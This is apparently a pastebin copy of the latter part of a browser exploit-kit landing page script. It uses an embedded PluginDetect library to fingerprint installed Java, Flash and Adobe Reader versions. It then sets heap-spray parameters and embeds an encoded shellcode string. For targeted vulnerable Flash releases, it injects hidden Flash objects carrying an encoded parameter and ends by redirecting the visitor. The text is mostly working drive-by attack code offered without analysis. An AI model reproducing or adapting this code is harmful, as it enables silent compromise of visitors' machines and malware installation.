  1010. var i = 「」, k = 「1, 5, 0, 14」, j = 「1, 6, 0, 2」, h = 「1, 3, 1, 0」, g = 「1, 4,
  1011. 2, 0」, f = 「1, 5, 0, 7」, d = b.getInfo ? true : false, l = {
  1012. }
  1013. ;
  1014. if (e.verIE >= b.minIEver){
  1015. i = a.search(j, j, d);
  1016. if (i.length > 0 && d){
  1017. i = a.search(k, k, d)
  1018. }
  1019. }
  1020. else {
  1021. if (d){
  1022. i = a.search(f, f, true)
  1023. }
  1024. if (i.length == 0){
  1025. i = a.search(h, g, false)
  1026. }
  1027. }
  1028. if (i.length){
  1029. a.version = i「0」;
  1030. a.VERSIONS = 「」.concat(i)
  1031. }
  1032. ;
  1033. return a
  1034. }
  1035. , search : function (a, j, p){
  1036. var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = 「」;
  1037. if (e.compareNums(a.join(","), j.join(",")) > 0){
  1038. j = a
  1039. }
  1040. j = e.formatNum(j.join(","));
  1041. var m, s = "1,4,2,0", g = "JavaPlugin." + a「0」 + "" + a「1」 + "" + a「2」 + "" +
  1042. (a「3」 > 0 ? ("_" + (a「3」 < 10 ? "0" : "") + a「3」) : "");
  1043. for (h = 0; h < f.JavaVersions.length; h ++ ){
  1044. d = f.JavaVersions「h」;
  1045. n = "JavaPlugin." + d「0」 + "" + d「1」;
  1046. b = d「0」 + "." + d「1」 + ".";
  1047. for (l = d「2」;
  1048. l >= 0; l -- ){
  1049. r = "JavaWebStart.isInstalled." + b + l + ".0";
  1050. if (e.compareNums(d「0」 + "," + d「1」 + "," + l + ",0", j) >= 0 &&! e.getAXO
  1051. (r)){
  1052. continue
  1053. }
  1054. m = e.compareNums(d「0」 + "," + d「1」 + "," + l + ",0", s) < 0 ? true :
  1055. false ;
  1056. for (q = d「3」;
  1057. q >= 0; q -- ){
  1058. c = l + "_" + (q < 10 ? "0" + q : q);
  1059. o = n + c;
  1060. if (e.getAXO(o) && (m || e.getAXO(r))){
  1061. i.push(b + c);
  1062. if (!p){
  1063. return i
  1064. }
  1065. }
  1066. if (o == g){
  1067. return i
  1068. }
  1069. }
  1070. if (e.getAXO(n + l) && (m || e.getAXO(r))){
  1071. i.push(b + l);
  1072. if (!p){
  1073. return i
  1074. }
  1075. }
  1076. if (n + l == g){
  1077. return i
  1078. }
  1079. }
  1080. }
  1081. return i
  1082. }
  1083. }
  1084. , navMime : {
  1085. $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0,
  1086. pluginObj : 0, disabled : function (){
  1087. return this .$$.isDisabled.navMime()
  1088. }
  1089. , query : function (){
  1090. var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1091. i.hasRun = 1;
  1092. if (b){
  1093. return i
  1094. }
  1095. ;
  1096. var n =/^\ s * application \/ x - java - applet;
  1097. jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1098. {
  1099. }
  1100. , c = f.formatNum("0");
  1101. for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  1102. o = navigator.mimeTypes「l」;
  1103. m = o ? o.enabledPlugin : 0;
  1104. g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1105. if (g && m && (m.description || m.name)){
  1106. if (!k「h + g」){
  1107. i.length ++
  1108. }
  1109. k「h + g」 = o.type;
  1110. if (f.compareNums(g, c) > 0){
  1111. c = g
  1112. }
  1113. }
  1114. }
  1115. g = k「h + c」;
  1116. if (g){
  1117. o = f.hasMimeType(g);
  1118. i.mimeObj = o;
  1119. i.pluginObj = o ? o.enabledPlugin : 0;
  1120. i.mimetype = g;
  1121. i.version = c
  1122. }
  1123. ;
  1124. return i
  1125. }
  1126. }
  1127. , navPlugin : {
  1128. $ : 1, hasRun : 0, version : "", disabled : function (){
  1129. return this .$$.isDisabled.navPlugin()
  1130. }
  1131. , query : function (){
  1132. var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0,
  1133. b = (m.hasRun || m.disabled());
  1134. m.hasRun = 1;
  1135. if (b){
  1136. return m
  1137. }
  1138. ;
  1139. a = h.pluginObj.name || "";
  1140. i = h.pluginObj.description || "";
  1141. if (!f || c.debug){
  1142. g =/ Java. * TM. * Platform「 ^\ d」 * ( \ d + )( ?: 「 \ ., _」( \ d * )) ? (
  1143. ?:\ s * 「Update」 +\ s * ( \ d * )) ?/ i;
  1144. if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  1145. f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp
  1146. .$3 ? RegExp.$3 : "0")
  1147. }
  1148. }
  1149. if (!f || c.debug){
  1150. g =/ Java「 ^\ d」 * Plug - in / i;
  1151. l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1152. k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1153. if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1154. formatNum("2")) >= 0)){
  1155. l = 0
  1156. }
  1157. if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1158. formatNum("2")) >= 0)){
  1159. k = 0
  1160. }
  1161. d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1162. if (d){
  1163. f = d
  1164. }
  1165. }
  1166. if (!f && e.isSafari && e.OS == 2){
  1167. j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  1168. if (j){
  1169. l = e.getNum(j.description);
  1170. if (l){
  1171. f = l
  1172. }
  1173. }
  1174. }
  1175. ;
  1176. if (f){
  1177. m.version = e.formatNum(f)
  1178. }
  1179. ;
  1180. return m
  1181. }
  1182. }
  1183. , lang : {
  1184. $ : 1, System : {
  1185. $ : 1, hasRun : 0, result : 「null, null」, disabled : function (){
  1186. return this .$$.isDisabled.windowDotJava()
  1187. }
  1188. , getPropertyHas : function (a){
  1189. var b = this , d = b.$, c = b.getProperty()「0」;
  1190. return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 :
  1191. 0
  1192. }
  1193. , getProperty : function (){
  1194. var f = this , g = f.$, d = f.$$, i, h = {
  1195. }
  1196. , b = (f.hasRun || f.disabled());
  1197. f.hasRun = 1;
  1198. if (!b){
  1199. var a = "java_qqq990";
  1200. g「a」 = null;
  1201. try {
  1202. var c = document.createElement("script");
  1203. c.type = "text/javascript";
  1204. c.appendChild(document.createTextNode(
  1205. "(function(){var e;try{if (window.java && window.java.lang && window.java.lang.System){"
  1206. + g.name + "." + a + '
  1207. =「window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getPrope
  1208. rty("java.vendor")+" "」}}catch(e){}})();'));
  1209. if (g.head.firstChild){
  1210. g.head.insertBefore(c, g.head.firstChild)
  1211. }
  1212. else {
  1213. g.head.appendChild(c)
  1214. }
  1215. g.head.removeChild(c)
  1216. }
  1217. catch (i){
  1218. }
  1219. if (g「a」 && g.isArray(g「a」)){
  1220. f.result = 「」.concat(g「a」)
  1221. }
  1222. }
  1223. return f.result
  1224. }
  1225. }
  1226. }
  1227. , applet : {
  1228. $ : 1, results : 「「null, null」, 「null, null」, 「null, null」」, getResult :
  1229. function (){
  1230. var c = this .results, a, b = 「」;
  1231. for (a = 0; a < c.length; a ++ ){
  1232. b = c「a」;
  1233. if (b「0」){
  1234. break
  1235. }
  1236. }
  1237. return 「」.concat(b)
  1238. }
  1239. , HTML : 「0, 0, 0」, active : 「0, 0, 0」, DummyObjTagHTML : 0, DummySpanTagHTML :
  1240. 0, allowed : 「1, 1, 1」, VerifyTagsHas : function (c){
  1241. var d = this , b;
  1242. for (b = 0; b < d.allowed.length; b ++ ){
  1243. if (d.allowed「b」 === c){
  1244. return 1
  1245. }
  1246. }
  1247. return 0
  1248. }
  1249. , saveAsVerifyTagsArray : function (c){
  1250. var b = this , d = b.$, a;
  1251. if (d.isArray(c)){
  1252. for (a = 0; a < b.allowed.length; a ++ ){
  1253. if (d.isNum(c「a」)){
  1254. if (c「a」 < 0){
  1255. c「a」 = 0
  1256. }
  1257. if (c「a」 > 3){
  1258. c「a」 = 3
  1259. }
  1260. b.allowed「a」 = c「a」
  1261. }
  1262. }
  1263. }
  1264. }
  1265. , setVerifyTagsArray : function (d){
  1266. var b = this , c = b.$, a = b.$$;
  1267. if (a.getVersionDone === null){
  1268. b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1269. }
  1270. if (a.debug || (a.verify && a.verify.isEnabled())){
  1271. b.saveAsVerifyTagsArray(「3, 3, 3」)
  1272. }
  1273. else {
  1274. if (d){
  1275. b.saveAsVerifyTagsArray(d)
  1276. }
  1277. }
  1278. }
  1279. , allDisabled : function (){
  1280. return this .$$.isDisabled.allApplets()
  1281. }
  1282. , isDisabled : function (d){
  1283. var b = this , c = b.$, a = b.$$;
  1284. if (d == 2 &&! c.isIE){
  1285. return 1
  1286. }
  1287. if (d === 0 || d == 2){
  1288. return a.isDisabled.ObjectTag()
  1289. }
  1290. if (d == 1){
  1291. return a.isDisabled.AppletTag()
  1292. }
  1293. }
  1294. , can_Insert_Query : function (b){
  1295. var a = this ;
  1296. if (a.HTML「b」){
  1297. return 0
  1298. }
  1299. return !a.isDisabled(b)
  1300. }
  1301. , can_Insert_Query_Any : function (){
  1302. var b = this , a;
  1303. for (a = 0; a < b.results.length; a ++ ){
  1304. if (b.can_Insert_Query(a)){
  1305. return 1
  1306. }
  1307. }
  1308. return 0
  1309. }
  1310. , should_Insert_Query : function (d){
  1311. var b = this , e = b.allowed, c = b.$, a = b.$$;
  1312. if (!b.can_Insert_Query(d)){
  1313. return 0
  1314. }
  1315. if (e「d」 == 3){
  1316. return 1
  1317. }
  1318. if (e「d」 == 2.8 &&! b.getResult()「0」){
  1319. return 1
  1320. }
  1321. if (e「d」 == 2.5 &&! a.lang.System.getProperty()「0」){
  1322. return 1
  1323. }
  1324. if (e「d」 == 2.2 &&! a.lang.System.getProperty()「0」 &&! b.getResult()「0」){
  1325. return 1
  1326. }
  1327. if (!a.nonAppletDetectionOk(a.version0)){
  1328. if (e「d」 == 2){
  1329. return 1
  1330. }
  1331. if (e「d」 == 1 &&! b.getResult()「0」){
  1332. return 1
  1333. }
  1334. }
  1335. return 0
  1336. }
  1337. , should_Insert_Query_Any : function (){
  1338. var b = this , a;
  1339. for (a = 0; a < b.allowed.length; a ++ ){
  1340. if (b.should_Insert_Query(a)){
  1341. return 1
  1342. }
  1343. }
  1344. return 0
  1345. }
  1346. , query : function (f){
  1347. var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1348. if ((b「f」「0」 && b「f」「1」) || (d.debug && d.OTF < 3)){
  1349. return
  1350. }
  1351. c = g.getDOMobj(a.HTML「f」, true);
  1352. if (c){
  1353. try {
  1354. i = g.getNum(c.getVersion() + " ");
  1355. j = c.getVendor() + " ";
  1356. c.statusbar(g.winLoaded ? " " : " ")
  1357. }
  1358. catch (h){
  1359. }
  1360. if (i && g.isStrNum(i)){
  1361. b「f」 = 「i, j」
  1362. }
  1363. else {
  1364. }
  1365. ;
  1366. try {
  1367. if (g.isIE && i && c.readyState != 4){
  1368. g.garbage = true;
  1369. c.parentNode.removeChild(c)
  1370. }
  1371. }
  1372. catch (h){
  1373. }
  1374. }
  1375. }
  1376. , insert_Query_Any : function (){
  1377. var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1378. "    ", g = "A.class", m = i.file.getValid(e);
  1379. if (!m){
  1380. return d.getResult()
  1381. }
  1382. if (e.OTF < 1){
  1383. e.OTF = 1
  1384. }
  1385. if (d.allDisabled()){
  1386. return d.getResult()
  1387. }
  1388. if (e.OTF < 1.5){
  1389. e.OTF = 1.5
  1390. }
  1391. var j = m.name + m.ext, h = m.path;
  1392. var f = 「"archive", j, "code", g」, c = 「"mayscript", "true"」, o = 「
  1393. "scriptable", "true"」.concat(c), n = e.navigator, b =! i.isIE && n.mimeObj &&
  1394. n.mimeObj.type ? n.mimeObj.type : e.mimeType「0」;
  1395. if (d.should_Insert_Query(0)){
  1396. if (e.OTF < 2){
  1397. e.OTF = 2
  1398. }
  1399. ;
  1400. p「0」 = i.isIE ? i.insertHTML("object", 「"type", b」, 「"codebase", h」.concat(f
  1401. ).concat(o), a, e) : i.insertHTML("object", 「"type", b」, 「"codebase", h」.
  1402. concat(f).concat(o), a, e);
  1403. l「0」 = 「0, 0」;
  1404. d.query(0)
  1405. }
  1406. if (d.should_Insert_Query(1)){
  1407. if (e.OTF < 2){
  1408. e.OTF = 2
  1409. }
  1410. ;
  1411. p「1」 = i.isIE ? i.insertHTML("applet", 「"alt", a」.concat(c).concat(f), 「
  1412. "codebase", h」.concat(c), a, e) : i.insertHTML("applet", 「"codebase", h,
  1413. "alt", a」.concat(c).concat(f), 「」.concat(c), a, e);
  1414. l「1」 = 「0, 0」;
  1415. d.query(1)
  1416. }
  1417. if (d.should_Insert_Query(2)){
  1418. if (e.OTF < 2){
  1419. e.OTF = 2
  1420. }
  1421. ;
  1422. p「2」 = i.isIE ? i.insertHTML("object", 「"classid", e.classID」, 「"codebase",
  1423. h」.concat(f).concat(o), a, e) : i.insertHTML();
  1424. l「2」 = 「0, 0」;
  1425. d.query(2)
  1426. }
  1427. if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
  1428. d.DummyObjTagHTML = i.insertHTML("object", 「」, 「」, a)
  1429. }
  1430. if (!d.DummySpanTagHTML){
  1431. d.DummySpanTagHTML = i.insertHTML("", 「」, 「」, a)
  1432. }
  1433. ;
  1434. var k = e.NOTF;
  1435. if (e.OTF < 3 && k.shouldContinueQuery()){
  1436. e.OTF = 3;
  1437. k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1438. if (!i.winLoaded){
  1439. i.WLfuncs0.push(「k.winOnLoadQuery, k」)
  1440. }
  1441. setTimeout(k.onIntervalQuery, k.intervalLength)
  1442. }
  1443. ;
  1444. return d.getResult()
  1445. }
  1446. }
  1447. , NOTF : {
  1448. $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1449. function (){
  1450. var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1451. for (a = 0; a < b.results.length; a ++ ){
  1452. if (b.HTML「a」 &&! b.results「a」「0」 && (b.allowed「a」 >= 2 || (b.allowed「a」 ==
  1453. 1 &&! b.getResult()「0」)) && e.isAppletActive(a) >= 0){
  1454. return 1
  1455. }
  1456. }
  1457. return 0
  1458. }
  1459. , isJavaActive : function (d){
  1460. var f = this , c = f.$$, a, b, e =- 9;
  1461. for (a = 0; a < c.applet.HTML.length; a ++ ){
  1462. b = f.isAppletActive(a, d);
  1463. if (b > e){
  1464. e = b
  1465. }
  1466. }
  1467. return e
  1468. }
  1469. , isAppletActive : function (c, a){
  1470. var d = this , b = d.$$.applet.active;
  1471. if (!a){
  1472. b「c」 = d.isAppletActive_(c)
  1473. }
  1474. return b「c」
  1475. }
  1476. , isAppletActive_ : function (d){
  1477. var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML「d」
  1478. , i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1479. count);
  1480. if (j ==- 2){
  1481. return - 2
  1482. }
  1483. try {
  1484. if (f.isIE && f.verIE >= b.minIEver && f.getDOMobj(h).object){
  1485. return 1
  1486. }
  1487. }
  1488. catch (i){
  1489. }
  1490. for (k = 0; k < a.active.length; k ++ ){
  1491. if (a.active「k」 > 0){
  1492. c = 1
  1493. }
  1494. }
  1495. if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1496. tagName == "object" || c)) || b.lang.System.getProperty()「0」))){
  1497. return 1
  1498. }
  1499. if (j < 0){
  1500. return - 1
  1501. }
  1502. return 0
  1503. }
  1504. , winOnLoadQuery : function (c, d){
  1505. var b = d.$$, a;
  1506. if (b.OTF == 3){
  1507. a = d.queryAllApplets();
  1508. d.queryCompleted(a「1」, a「2」)
  1509. }
  1510. }
  1511. , $$onIntervalQuery : function (d){
  1512. var c = d.$, b = d.$$, a;
  1513. if (b.OTF == 3){
  1514. a = d.queryAllApplets();
  1515. if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
  1516. d.queryCompleted(a「1」, a「2」)
  1517. }
  1518. }
  1519. d.count++;
  1520. if (b.OTF == 3){
  1521. setTimeout(d.onIntervalQuery, d.intervalLength)
  1522. }
  1523. }
  1524. , queryAllApplets : function (){
  1525. var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1526. for (b = 0; b < d.results.length; b ++ ){
  1527. d.query(b)
  1528. }
  1529. a = d.getResult();
  1530. c = a「0」 ? true : false;
  1531. return 「c, a「0」, a「1」」
  1532. }
  1533. , queryCompleted : function (c, f){
  1534. var e = this , d = e.$, b = e.$$;
  1535. if (b.OTF >= 4){
  1536. return
  1537. }
  1538. b.OTF = 4;
  1539. var a = e.isJavaActive();
  1540. b.setPluginStatus(c, f, 0);
  1541. if (b.funcs){
  1542. d.callArray(b.funcs)
  1543. }
  1544. if (d.onDoneEmptyDiv){
  1545. d.onDoneEmptyDiv()
  1546. }
  1547. }
  1548. }
  1549. , zz : 0
  1550. }
  1551. , flash : {
  1552. mimeType : "application/x-shockwave-flash", progID :
  1553. "ShockwaveFlash.ShockwaveFlash", classID :
  1554. "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
  1555. var b = function (i){
  1556. if (!i){
  1557. return null
  1558. }
  1559. var e =/ 「 \ d」「 \ d \,\ . \ s」 * 「rRdD」{
  1560. 0, 1
  1561. }
  1562. 「 \ d \, 」 */ .exec(i);
  1563. return e ? e「0」.replace(/「rRdD\.」/g, ",").replace(/\s/g, "") : null
  1564. }
  1565. ;
  1566. var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1567. if (!g.isIE){
  1568. m = g.hasMimeType(j.mimeType);
  1569. if (m){
  1570. f = g.getDOMobj(g.insertHTML("object", 「"type", j.mimeType」, 「」, "", j));
  1571. try {
  1572. l = g.getNum(f.GetVariable("$version"))
  1573. }
  1574. catch (k){
  1575. }
  1576. }
  1577. if (!l){
  1578. d = m ? m.enabledPlugin : null;
  1579. if (d && d.description){
  1580. l = b(d.description)
  1581. }
  1582. if (l){
  1583. l = g.getPluginFileVersion(d, l)
  1584. }
  1585. }
  1586. }
  1587. else {
  1588. for (h = 15; h > 2; h -- ){
  1589. c = g.getAXO(j.progID + "." + h);
  1590. if (c){
  1591. a = h.toString();
  1592. break
  1593. }
  1594. }
  1595. if (!c){
  1596. c = g.getAXO(j.progID)
  1597. }
  1598. if (a == "6"){
  1599. try {
  1600. c.AllowScriptAccess = "always"
  1601. }
  1602. catch (k){
  1603. return "6,0,21,0"
  1604. }
  1605. }
  1606. try {
  1607. l = b(c.GetVariable("$version"))
  1608. }
  1609. catch (k){
  1610. }
  1611. if (!l && a){
  1612. l = a
  1613. }
  1614. }
  1615. j.installed = l ? 1 :- 1;
  1616. j.version = g.formatNum(l);
  1617. return true
  1618. }
  1619. }
  1620. , adobereader : {
  1621. mimeType : "application/pdf", navPluginObj : null, progID : 「"AcroPDF.PDF",
  1622. "PDF.PdfCtrl"」, classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1623. {
  1624. }
  1625. , pluginHasMimeType : function (d, c, f){
  1626. var b = this , e = b.$, a;
  1627. for (ain d){
  1628. if (d「a」 && d「a」.type && d「a」.type == c){
  1629. return 1
  1630. }
  1631. }
  1632. if (e.getMimeEnabledPlugin(c, f)){
  1633. return 1
  1634. }
  1635. return 0
  1636. }
  1637. , getVersion : function (l, j){
  1638. var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1639. if (d.isString(j)){
  1640. j = j.replace(/\s/g, "");
  1641. if (j){
  1642. k = j
  1643. }
  1644. }
  1645. else {
  1646. j = null
  1647. }
  1648. if (d.isDefined(g.INSTALLED「k」)){
  1649. g.installed = g.INSTALLED「k」;
  1650. return
  1651. }
  1652. if (!d.isIE){
  1653. a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1654. if (g.getVersionDone !== 0){
  1655. g.getVersionDone = 0;
  1656. b = d.getMimeEnabledPlugin(g.mimeType, a);
  1657. if (!j){
  1658. n = b
  1659. }
  1660. if (!b && d.hasMimeType(g.mimeType)){
  1661. b = d.findNavPlugin(a, 0)
  1662. }
  1663. if (b){
  1664. g.navPluginObj = b;
  1665. h = d.getNum(b.description) || d.getNum(b.name);
  1666. h = d.getPluginFileVersion(b, h);
  1667. if (!h && d.OS == 1){
  1668. if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  1669. h = "9"
  1670. }
  1671. else {
  1672. if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  1673. h = "8"
  1674. }
  1675. }
  1676. }
  1677. }
  1678. }
  1679. else {
  1680. h = g.version
  1681. }
  1682. if (!d.isDefined(n)){
  1683. n = d.getMimeEnabledPlugin(k, a)
  1684. }
  1685. g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1686. }
  1687. else {
  1688. b = d.getAXO(g.progID「0」) || d.getAXO(g.progID「1」);
  1689. c =/=\ s * (「 \ d \ .」 + ) / g;
  1690. try {
  1691. f = (b || d.getDOMobj(d.insertHTML("object", 「"classid", g.classID」, 「"src",
  1692. ""」, "", g))).GetVersions();
  1693. for (m = 0; m < 5; m ++ ){
  1694. if (c.test(f) && (!h || RegExp.$1 > h)){
  1695. h = RegExp.$1
  1696. }
  1697. }
  1698. }
  1699. catch (i){
  1700. }
  1701. g.installed = h ? 1 : (b ? 0 :- 1)
  1702. }
  1703. if (!g.version){
  1704. g.version = d.formatNum(h)
  1705. }
  1706. g.INSTALLED「k」 = g.installed
  1707. }
  1708. }
  1709. , zz : 0
  1710. }
  1711. }
  1712. ;
  1713. PluginDetect.initScript();
  1714. PluginDetect.getVersion(".");
  1715. pdfver = PluginDetect.getVersion("AdobeReader");
  1716. flashver = PluginDetect.getVersion('Flash');
  1717. javaver = PluginDetect.getVersion('Java', 'getJavaInfo.jar');
  1718. }
  1719. catch (e){
  1720. }
  1721. if (typeof pdfver == 'string'){
  1722. pdfver = pdfver.split('.')
  1723. }
  1724. else {
  1725. pdfver = 「0, 0, 0, 0」
  1726. }
  1727. if (typeof flashver == 'string'){
  1728. flashver = flashver.split('.')
  1729. }
  1730. else {
  1731. flashver = 「0, 0, 0, 0」
  1732. }
  1733. if (typeof javaver == 'string'){
  1734. javaver = javaver.split('.')
  1735. }
  1736. else {
  1737. javaver = 「0, 0, 0, 0」
  1738. }
  1739. function spl0(){
  1740. spl2()
  1741. }
  1742. function spl2(){
  1743. spl3()
  1744. }
  1745. function spl3(){
  1746. spl4()
  1747. }
  1748. function spl4(){
  1749. setTimeout(spl5, 1000)
  1750. }
  1751. function getCN(){
  1752. return 'data/score.swf'
  1753. }
  1754. function getBlockSize(){
  1755. return 1024
  1756. }
  1757. function getAllocSize(){
  1758. return 1024 * 1024
  1759. }
  1760. function getAllocCount(){
  1761. return 300
  1762. }
  1763. function getFillBytes(){
  1764. var a = '%u' + '0c0c';
  1765. return a + a;
  1766. }
  1767. function getShellCode(){
  1768. if (1){
  1769. return "
  1770. %u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u56e9%u80fe%u2830%ue240%uebfa%ue805%uffeb
  1771. %uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476
  1772. %u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3
  1773. %u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896
  1774. %uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4
  1775. %u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be
  1776. %ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828
  1777. %uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e
  1778. %u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f
  1779. %u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1
  1780. %u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35
  1781. %u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b
  1782. %u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0
  1783. %ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c
  1784. %u1258%u0707%u474a%u4d4c%u5b05%u4449%u5b4d%u4606%u5c4d%u5f07%u5806%u5840%u4e17%u1d15%u4b1e
  1785. %u491f%u4d0e%u1915%u2828";
  1786. }
  1787. }
  1788. function spl5(){
  1789. var ver1 = flashver「0」;
  1790. var ver2 = flashver「1」;
  1791. var ver3 = flashver「2」;
  1792. if (((ver1 == 10 && ver2 == 0 && ver3 > 40) || ((ver1 == 10 && ver2 > 0) && (ver1 == 10
  1793. && ver2 < 2))) || ((ver1 == 10 && ver2 == 2 && ver3 < 159) || (ver1 == (11 - 1) && ver2
  1794. < 2))){
  1795. var fname = "data/field";
  1796. var Flash_obj = "
  1797. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  1798. '>";
  1799. Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  1800. al = "always";
  1801. Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  1802. Flash_obj += "<param name='Play' value='0' />";
  1803. Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  1804. Flash_obj += "allowScriptAccess='" + al + "'";
  1805. Flash_obj += "type='application/x-shockwave-flash'";
  1806. Flash_obj += "width='10' height='10'>";
  1807. Flash_obj += "</embed>";
  1808. Flash_obj += "</object>";
  1809. var oSpan = document.createElement("span");
  1810. document.body.appendChild(oSpan);
  1811. oSpan.innerHTML = Flash_obj;
  1812. }
  1813. spl6();
  1814. }
  1815. function spl6(){
  1816. var ver1 = flashver「0」;
  1817. var ver2 = flashver「1」;
  1818. var ver3 = flashver「2」;
  1819. var ver4 = flashver「3」;
  1820. if ((ver1 == 10 && ver2 == 3 && ver3 == 181 && ver4 <= 23) || (ver1 == 10 && ver2 == 3 &&
  1821. ver3 < 181)){
  1822. var fname = "data/flash";
  1823. var Flash_obj = "
  1824. <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='
  1825. 400' codebase='h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'>";
  1826. Flash_obj += "<param name='movie' value='" + fname + "
  1827. .swf?info=02e6b1525353caa8ad35b03533af5734b63357acb13157abb537b6b6a951b252ca35c94f4f314c35
  1828. 7e7a73a57745' />";
  1829. Flash_obj += "<embed src='" + fname + "
  1830. .swf?info=02e6b1525353caa8ad35b03533af5734b63357acb13157abb537b6b6a951b252ca35c94f4f314c35
  1831. 7e7a73a57745' name='asd' align='middle' allowNetworking='all' type='application/x-shockwav
  1832. e-flash' pluginspage='h00p://www.macromedia.com/go/getflashplayer'>";
  1833. Flash_obj += "</embed>";
  1834. Flash_obj += "</object>";
  1835. var oSpan = document.createElement("span");
  1836. document.body.appendChild(oSpan);
  1837. oSpan.innerHTML = Flash_obj;
  1838. }
  1839. spl7();
  1840. }
  1841. function spl7(){
  1842. setTimeout(end_redirect, 8000);
  1843. }
  1844. spl0();
Advertisement
Add Comment
Please, Sign In to add comment